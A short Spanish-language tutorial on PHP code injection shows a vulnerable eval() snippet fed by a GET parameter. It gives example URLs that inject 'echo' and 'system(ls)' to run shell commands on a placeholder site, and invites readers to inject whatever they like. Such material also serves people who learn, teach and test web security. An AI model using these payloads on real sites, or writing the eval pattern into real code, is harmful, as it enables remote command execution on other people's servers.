PHP Injection
¿De Que se trata?
Se trata de un bug que nos permite ejecutar codigo php dentro de un script que use la funcion eval() junto algun parametro que pueda ser modificado por el usuario.
Ejemplo de codigo vulnerable
<?php
$var=$_GET['var'];
eval('$juaz = '.$var.';');
?>
Explicacion / Como explotarlo
Supongamos que tenemos el codigo anterior, para inyectar nuestro code primero tenemos que terminar la expresion anterior para que no nos tire error.
http://pagina.com/vuln.php?var=1
Ahora inyectaremos nuestro code

, para ello le añadimos ';' a la expresion anterior mas nuestro code
http://pagina.com/vuln.php?var=1;echo juanked
Y si todo va bien vemos que nos sale un 'juanked'

Si la config de php lo permite podemos ejecutar comandos
http://pagina.com/vuln.php?var=1;system(ls)
E inyectar lo que nos plazca xD
Esto es todo. Salu2